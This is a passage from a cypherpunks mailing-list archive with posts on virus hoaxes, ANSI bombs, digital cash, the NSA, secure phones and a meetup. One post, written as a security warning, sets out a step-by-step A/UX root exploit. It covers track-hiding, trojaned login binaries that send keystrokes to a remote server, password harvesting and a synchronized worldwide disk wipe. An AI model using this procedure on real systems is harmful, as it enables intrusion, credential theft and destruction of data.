December 2003 - cypherpunks-legacy

Re: Good times virus (ANSI BOMB?)
by Claborne, Chris 17 Dec '03

17 Dec '03

Can't be too UNIX centric. With the advent of MS Mail and CC:Mail that have SMTP gateways, they automagically convert uuencoded files to attachments in the native format. That is, when you send me a message with a uuencoded file at the end, my mail gateway uudecodes and puts the attachemnt in my mail messas as a clickable icon. NOW, all you got to do is convince me to doubble click on this (virus exe) and bingo!, I'm dead. Question: Has anyone tried to infect or destroy an NT box with some known virus. NT's security model could prevent this (I.E. trying to write to a restricted file or stay resident...). But I'm not sure what is secured since almost all users use NT workstation as "Administrator". 2 -- C -- >--------------------------------------------------------------------------- --- >-----BEGIN PGP SIGNED MESSAGE----- > >>On Dec 7, 1:04am, ADAM GERSTEIN, _THE_ MACGURU wrote: >>> Need I remind you of a certain Robert T. Morris? Does the "Internet Worm" >>mean >>> anything to you? Sure, it wasn't actual email, but it did use email and >other >>> means of transport to cripple the net in a matter of hours. >> >>The Internet Worm used the sendmail DEBUG mode to execute commands on >>a remote system. It did not propogate itself via email messages, which was >>what the original (ridiculous) warning claimed. >> >>I can't feel a lot of sympathy for people who took this announcement >>seriously. Such stupidity reaps its own rewards. > >Although the concept of "text viruses" seems a bit far fetched to some >people, there these lovely toys known as ANSI bombs. Essentially they work >in a similar method to the some techniques used in the sendmail bug, but >they are MS-DOS specific, they will use embedded ANSI codes to run programs >as the files is viewed... anyone know what will happen if deltree /XXX >(where XXX represents an unpublished string of characters) is run from the >root directory of a DOS hard disk? Its gone, quickly. Sure the files can be >undeleted, but undeleting a whole disk is tricky business... > >Maybe Good Times is a hoax, but ANSI bombs exist and using a DOS ANSI text >viewer will surely be a foolish thing to do on any downloaded text file... > >If anyone feels the need for proof I collected a few a while back, but >really don't see the need to post them...heh heh. > > Adam Philipp > >PS: Please no comments about superiority of MACs or LINUX boxs because they >are immune to ANSI boms...that ought to be clear enough... > >- -- >PGP Key available on the keyservers. Encrypted E-mail welcome. > >SUB ROSA: Confidential, secret, not for publication. > -Black's Law Dictionary > >GJ/CS d H S:+ g? p? au+ a- w+ v++ c++ UL+ UU+ US+ P+ 3 E N++ k- W++ M-- V >po- Y++ t++ 5+ jx R G' tv+ b+++ D++ B--- E+++ u** h-- f++ r+ n+ y++-- > >- --- >[This message has been signed by an auto-signing service. A valid signature >means only that it has been received at the address corresponding to the >signature and forwarded.] > >-----BEGIN PGP SIGNATURE----- >Version: 2.6.2 >Comment: Gratis auto-signing service > >iQBFAwUBLuVnPSoZzwIn1bdtAQEjeAF+Pi65kg9SMBZ1bzO5gJBsumi5x2vJFgqC >o0hc3bMaqLYb5WY/jlaAtWURtzXzOUc6 >=/53s >-----END PGP SIGNATURE----- >

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cut & choose
by Alex Strasheim 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- In Applied Cryptography, Schneier describes digital cash protocols that depend on the cut and choose method: Alice prepares 100 anonymous money orders for $100, sends them all to the bank, which opens all the envelopes except one picked at random. If the 99 envelopes checked have money orders for $100, then the bank is confident that the one they sign blindly will be for $100 as well. Chaum's system uses different keys for different denominations. Alice only sends one envelope, and the bank uses its $100 key to sign it. I don't understand why anyone would use the cut and choose protocol over denominated keys. Chaum's method seems a lot cleaner to me and more secure. It obviously uses less bandwidth. What am I missing here? == Alex Strasheim | finger astrashe(a)nyx.cs.du.edu alex(a)omaha.com | for my PGP 2.6.1. public key -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLudoHxEpP7+baaPtAQFIiwQAsCc/TYI/cgJyGf6AtykBGgu+qJJ+peM6 /IYXnUzrIeFLx54nRjsUOUFYJs6Uu3vu6s2BRbd2/YIJVaY6/kP4HO0zuMhqFn2z 4eddRverUeH59IZgZ+4Va4/rgfn5hRdNSOgNinIyk0aRsa8ulR+cmJdUYqggHgd5 w2dxkAtDSGM= =fzJT -----END PGP SIGNATURE-----

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DigiCash
by Paul Foley 17 Dec '03

17 Dec '03

Could someone explain the concept of "DigiCash" to me, or tell me where to get info from? Thanks.

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Purdy & hickory
by Tony.Gurnick＠nzdairy.co.nz 17 Dec '03

17 Dec '03

Does anyone have any info on the PURDY & HICKORY hash algorithms that VMS uses in its authentication services! Thanks T

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Breaking the NSA
by Tony.Gurnick＠nzdairy.co.nz 17 Dec '03

17 Dec '03

Frenchie wrote >Tony.Gurnick(a)nzdairy.co.nz wrote: > >>Frenchie Wrote >> >> Not that easy. They would just crack the code and *another* >> acronym based agency would come up with a different reason to >> seize you and your computer. It would seem unrelated to anyone >> but *you* since you would know what you did but would have no >> way to prove that your original infraction is why you are doin' >> time. Hope that makes some sense. >> >>Maybe. What if the only way to do this was illegal? > > Then you would have to hope you never do anything illegal. Then > no (pick your acronym) agency would be able to easily trump up > a charge that could be used as an infiltration technique to get > to your system *legally*. If they want to bad enuff I'm sure > breaking the law to catch you doing something would be arranged. > Violating National Interests maybe? > Um, you would still know pgp/rsa/idea has been broken??? >> If it isn't something *really good* they probably wouldn't come after >> you anyway. > >>Whats the definition of GOOD? > > PGP?...3xDES?....RC5?....plans for an A-Bomb with instructions for > construction and location of available nuclear material?...pick one. Yeah Thats pretty good >> #3 I can agree with. I don't think that NSA would tip their hand >> and let on to us that they can read our stuff. At least, not directly. > >>We may as well find out. > > Agreed, the problem is finding a way to be sure! A little > misinformation has a habit of going a long way. Huh? >> One more thing. Don't you think that they subscribe to the Cypherpunk >> list just to see this kind of logic? > >>Maybe, But isnt freedom of speech what this list is about and what your >>constitution does! > > > Be careful...not everyone here is a U.S. resident or citizen. > At least I don't think so. > But since I am I know how precariously balanced the definition > of free specch is. The Supreme Court in cahoots with law > enforcement and lawmakers could change things pretty quick! > Throw in a handy list of names......u know the rest. Well Im not one (a us cit i mean), but another way of putting what I said is Its like some private company invents a cipher and you break it And they get pissed at you for doing it. But you did them a favour really cause someone more unscrupulous than you wouldnt have told them. So the NSA should be glad, and encourage us to speak like this and I think we should continue along this track! Unless of course they wish to comment....? > BTW....I ain't one of 'em, and I wouldn't tell if I was. :) >>Prove it >[I see my smiley was disregarded] Sorry, I forgot my smile, I was quite busy yesterday and thought I could get a quick reply in. I bolloxed that up! Heres two )) >Proof you say! >A classical dilemma: > If I say I am (one of them) it implies gathering > intelligence or a reason to sow suspicion even if I am not. > Denial implies I am what I say I am not. > So, even though I am not, it would be impossible to *convince* > you of that. If I was I still couldn't produce *believable* > evidence to support the statement. > Take my advice: Don't Trust Nobody. Thats a good one >Is there a reason *you* don't sign your messages? Hehehe.... :) Cause I forgot...busy...chicken! T

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How to Destroy the Internet (was Info about Linux)
by crawford＠scruznet.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I write: > You don't need to have a firewall to tighten up the security on your > machine. Read this book if you're going to put a Unix box of any sort on > the Internet, or you might wake up some day to find someone's erased your > hard disk from the other side of the globe. > Matt Bartley <mbartley@I guess this is wrong.edu> writes > Is it that dangerous? I wonder how machines in college, which didn't > have firewall protection that I know of, survived. Then again, that > was close to 3 years ago - maybe things are worse now. Before I proceed, let me point out that the following procedure has been documented for more than five years. Some may regards it as irresponsible to publish this information, but I consider it a greater danger that many Unix machine owners fail to appreciate the seriousness of this problem. How to erase the hard disk of almost every Unix machine on the Internet: Apple's A/UX 2.0 was, at least initially, shipped with two well-known security holes, holes which had been documented for years in the CERT advisories. When I was the MacTCP test engineer at Apple, I beta tested A/UX, found these holes, and tried very hard to get Apple to close them before shipping the product, which was primarily meant as Apple's candidate for an $80 million Air Force contract. I found this pretty ironic, but when I griped about it at Apple - and I griped about it increasingly loudly as the ship date approached - all I got was sternly scolded. Apple's internal netadmins did invite to play "capture /flag" on their internal net Unix machines, which was fun. I never could break into /flag. Security hole #1: A/UX ships with the guest login enabled, with no password. Thus anyone can log in to any A/UX machine on the Internet. Security hole #2: A/UX was largely derived from SunOS, and shared a hole with older versions of SunOS. The /etc/utmp file is world writable. The reason this is done is so that shell windows in the MacOS process on A/UX, or under SunView on the Sun, can appear to be logged in terminals, I think mainly to allow "wall" to write messages to all the windows. This is a deadly error. If /etc/utmp is world writable, anyone who can log in, with a little practice, can become root and cover evidence of their login in about 30 seconds. This is done as follows: 0. Using HINFO records from the name service, and looking at the SMTP, FTP, and login banners of many machines on the Internet, collect the addresses of many A/UX machines. For each A/UX machine do 1 - 15: 1. On your local machine, running the window system of your choice, type in a no-password passwd file entry for root into a window. Leave the window open. 2. On your local machine, create a file in utmp format in which ../tmp/foo is the only logged in terminal. Copy it to the clipboard (this will be a binary file - you have to write a small C program to create it). 3. Log in as guest over the internet. 4. cat /etc/utmp | od -h 5 cp /etc/passwd /tmp/Ex12345 6. cat > /etc/utmp 7. Paste the contents of your clipboard into the terminal window and press control-D. Now you've made /dev/../tmp/foo the only terminal which appears to be logged in. 8. ln -s /etc/passwd /tmp/foo 9. rwall "root::0:0::/:/bin/sh". This message is broadcast to all logged in terminals, thus replacing the password file with your own. 10. su ... now you are root. Time to cover your tracks! 11. mv /tmp/Ex12345 /etc/passwd 12. Copy the hex dump that just scrolled by on your screen to the clipboard. Paste it into a program that you have written that converts it back into binary, removes all the guest login records from it, and places the result back on the clipboard. 13. cat > /etc/utmp ... paste into the terminal window and press ^D. 14. Relax. Take a break and look upon your handiwork. The only evidence of your connection is the existence of a couple of shell processes and a telnet or rlogin daemon. "who" or "users" will not show you; the machine's users will have to examine ps listings very carefully to see that you are logged in. 15. When you've sufficiently regained your composure, use ftp to fetch patched telnet and rlogin binaries from your machine. With telnet you could just set the debug flag to dribble all the user's keystrokes into a file, but it would have more finesse to send a UDP packet of the first few keystrokes of each session to a server you have somewhere on the internet. 16. Collect passwords to every machine that allows logins from the machine you have just hacked. If you get any root passwords, go to step 15. (be sure to collect enough keystrokes to catch any su's that are done after logging in as a regular use. If the passwords are to any other A/UX machines, or old SunOS machines, go to step 4. 17. After you have collected lots of root passwords, right a C program that will wait for a certain delay, then turn off all networking using ifconfig (to prevent the admin from getting in and stopping the damage), mmap the raw partitions of all the mounted hard disks, make sure that the whole program is sitting in physical ram, then write garbage into the mmap'ed memory blocks. Install this program on all your target machines, with the delay synchronized to each system's own clock so that the damage happens simultaneously worldwide. You will probably want to distribute installation programs to a few dozen of your hacked machines, and have them all install on the machines nearby, to prevent word from getting out before the installations are all complete. If you're lucky, you can get the passwords to some backbone routers and partition the internet to help prevent the spread of the warning. The reason your college's machines have not been hacked yet, is because there are many machines on the internet, and the hackers have not got around to it yet. Read Firewalls and Internet Security, by William R. Cheswick and Steven M. Bellovin, ISBN 0-201-63357-4, before this happens to you. Any machine that allows logins from your own machine will be compromised, if your machine is compromised. Every machine that allows logins from any machine that allows logins from you will then be compromised, and so on. If the security is not tightened up considerably on the hosts connected to the Internet, someone's going to do something like this and bring the whole thing down. The Morris Worm did a great deal of damage to the net, but did little in the way of monetary damage beyond wasted employee time. Something like this would do damage in the billions of dollars. Regards, Michael D. Crawford crawford(a)scruznet.com <- Please note change of address. crawford(a)maxwell.ucsc.edu <- Finger me here for PGP Public Key. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAwUBLucy8aJTibhK6XY5AQFyYgQAgHD4jMeXAt9iQ4h266nyP8jQcSYGUzCZ mbXCHiDEjmPLCqrFvLJv+5QiCVvCKVvjVLJzoJ5id7f8YiJFZFLqxVeLlUj9ZqxM jSrETQYUEv81dypYAZkTnFuZMU+VuGUBBFjjTIMUcRo+CCvgfyA6Tb3Fhfz2qGIW d4qjDuT7Jyc= =GcJ2 -----END PGP SIGNATURE----- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6 mQCPAy7JYr8AAAEEAJ4GpoYcH5abkSq5FZQ9LxoP9oKKQDXHRGZT8QCcnVZ8o87H p9kEaUJIyzGbMHpO7C09qShwcrII2VfCZ77iWlBglmdLEa/dKXRCSWMFF52RcSDh zJF8m0wE2SZ9x4Y6KuXM3RwJVdEKLhsAImxckvfj0UBvb5xtJ6JTibhK6XY5ABEB AAG0LU1pY2hhZWwgRC4gQ3Jhd2ZvcmQgPGNyYXdmb3JkQHNjaXBwLnVjc2MuZWR1 PokAlQMFEC7JZBeiU4m4Sul2OQEBpFID/jz5/tGopduwskgTHxvQDRe4D/rvUHov s+ILcFLmQyFC0iVHEWWBMtSnTcPZOVsTKqhonDAiMTvWTf5XaszvXZYaIOVBJGO2 tTbX9AM3NtkLjyv6lQE7tssd7/XoQPy2CxI40f7sMh1AbDq43W/hpOI6TYfGAMcZ rdGMR7But9bb =kSZf -----END PGP PUBLIC KEY BLOCK----- Michael D. Crawford crawford(a)scruznet.com <- Please note change of address. crawford(a)maxwell.ucsc.edu <- Finger me here for PGP Public Key.

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A disturbing story
by Tommy the Tourist 17 Dec '03

17 Dec '03

Check out the story "CIA to pay $410 000 to maligned female officer" in Thursday's SF Chronicle (http://sfgate.com/new/schron/dec-08-94/mn1199.html) The interesting part isn't the stuff about sexual harassment. The interesting thing were paragraphs 8 and 9: >For example, Brookner was accused by the CIA's inspector general of >drunkenly pawing a male subordinate at a 1990 Christmas party at her home in >Jamaica. > >But the government lawyers defending the CIA then said that the man was not >a subordinate, but a high-ranking Drug Enforcement Administration official >who attended the party. Why would there be a high-ranking DEA official at a CIA Christmas party? Hmmm. ------------ To respond to the sender of this message, send mail to remailer(a)soda.berkeley.edu, starting your message with the following 7 lines: :: Response-Key: the-clipper-key ====Encrypted-Sender-Begin==== MI@```%)^&2?(E<U9BPG1]W7L'=BKH_SDP7C2:5S'2.B1&AR&I&.:9!Q-P\`[ JR2DDD23UQW!;%%Y6*I5:)V7Q'1%\+JL1;81D]T6N[A?NEU1/;\BPJ\$W ====Encrypted-Sender-End====

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Re: Moto Secure Clear digital?
by Claborne, Chris 17 Dec '03

17 Dec '03

I got one a while back and I don't like it. The range is poor and the sound quality is not all that great. A novice newby can't break it but anyone with experience can. I've seen posts on how it works but can't remember. AT&T has some kind of security feature on their 900Mhz phone but I haven't looked into it. 2 -- C -- >From: Jonathan Cooper <entropy(a)IntNet.net> >--------------------------------------------------------------------------- --- >> I just got a second phone line, and decided that if I was going to get a >2-line >> phone it might as well be a good one, so I am considering a Motorola Secure >> Clear cordless 2-line phone with speakerphone. This will be quite an >investment,so I was wondering whether the Secure Clear phones are digitally >encrypted or >> merely scrambled using some analog method. Anybody know about this? How >secure >> are these phones really? --Wes > > As I understand it the system is a cheezy form of frequency >inversion. It'll stop your neighbors with a scanner, but that's about it. > >-jon > >( --------[ Jonathan D. Cooper ]--------[ entropy(a)intnet.net ]-------- ) >( PGP 2.6.2 keyprint: 31 50 8F 82 B9 79 ED C4 5B 12 A0 35 E0 9B C0 01 ) > >

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Anonymity in the foreign exchange markets
by eric＠remailer.net 17 Dec '03

17 Dec '03

The following two page spread advertisement is from the Economist Nov 12, 1994. -------------------------------------------- Wouldn't the speculators love to know where you DM2.5 billion is right now. Your government has just raised DM2.5 billion. Your task is to convert those Deutsche marks into the currency of your country. And a whole world of speculators can't wait. They know they can make money at your expense by detecting and anticipating such a large currency move. But you have a surprise for them. Your currency is moving through the international markets right now -- right under the speculator's noses -- and they haven't a clue. Because you've found a firm that is more than a leading international trader. It's a select group of professionals -- strategists, researchers and economists with their own technology, their own global network and a distinctive approach to foreign exchange. They monitor the capital markets, not just trade flows, to get a more accurate picture of currency trends. Their strategic thinking helps pinpoint when -- and when not -- to make certain currency moves. And while they deal in all currencies, all markets and all size transactions, large positions such as yours are handled with special discretion. That's why, right now, your DM2.5 billion has been divided up -- into trades small enough to be undetected but large enough to be cost-efficient -- and blended strategically into the firm's daily global business. Most importantly, when the trading becomes fast and furious, these people make sure your transactions come first. You know they'll see you through it all. MORGAN STANLEY [The picture is of a chameleon.] -------------------------------------------- Note that not only are they selling anonymization services for *huge* sizes, they're also selling traffic analysis avoidance. >From what I know about the business, a typical commission is 1%, or somewhere around $10 million for th advertised transaction. Eric

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L.A. area meeting
by Agorist003＠aol.com 17 Dec '03

17 Dec '03

There will be a meeting under the announced name "L.A. Cypherpunks" at the California Coffee House, 4455 Overland Avenue, Culver City, CA 90230 (310) 559-8868 to discuss privacy issues and tactics. If any of y'all want to show up and flame on about your pet projects and sell stuff, it is a free, informal gathering -- show up any time between noon and 5 P.M. BCNU! Kent - jkh(a)story.com (If wsb gets fixed again)

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